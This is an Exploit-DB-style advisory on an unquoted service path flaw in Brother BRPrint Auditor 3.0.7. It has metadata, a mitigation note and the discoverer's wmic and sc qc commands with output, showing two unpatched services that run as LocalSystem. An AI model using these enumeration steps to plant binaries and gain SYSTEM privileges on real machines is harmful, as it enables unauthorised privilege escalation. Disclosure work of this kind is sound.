Brother BRPrint Auditor 3.0.7 - 'Multiple' Unquoted Service Path

vendor:

BRPrint Auditor

by:

Brian Rodriguez

7,8

CVSS

HIGH

Unquoted Service Path

426

CWE

Product Name: BRPrint Auditor

Affected Version From: 3.0.7

Affected Version To: 3.0.7

Patch Exists: No

Related CWE: N/A

CPE: a:brother:brprint_auditor:3.0.7

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 10 Enterprise

2021

Brother BRPrint Auditor 3.0.7 – ‘Multiple’ Unquoted Service Path

Brother BRPrint Auditor 3.0.7 is vulnerable to unquoted service path. An attacker can exploit this vulnerability by placing malicious files in the same directory as the vulnerable service and gain elevated privileges.

Mitigation:

Ensure that all services have their paths quoted properly and that all services are running with the least privileges necessary.

Source

Exploit-DB raw data:

# Exploit Title: Brother BRPrint Auditor 3.0.7 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage: https://support.brother.com/
# Software Links: https://support.brother.com/g/b/downloadhowto.aspx?c=us&lang=en&prod=dcp7060d_all&os=10013&dlid=dlf102753_000&flang=4&type3=214
# Tested Version: 3.0.7
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
BrPrAuSvc     BrAuSvc      C:\Program Files
(x86)\Brother\BRPrintAuditor\Brsvau3a.exe       Auto

Brother BRPrintAuditor Agent     BRPA_Agent   C:\Program Files
(x86)\Brother\BRPrintAuditor\BRAgtSrv.exe    Auto

C:\Users\IEUser>sc qc BrAuSvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: BrAuSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Brother\BRPrintAuditor\Brsvau3a.exe
        GRUPO_ORDEN_CARGA  : BrotherSplGroup
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : BrPrAuSvc
        DEPENDENCIAS       : Spooler
        NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\IEUser>sc qc BRPA_Agent
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: BRPA_Agent
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Brother\BRPrintAuditor\BRAgtSrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Brother BRPrintAuditor Agent
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem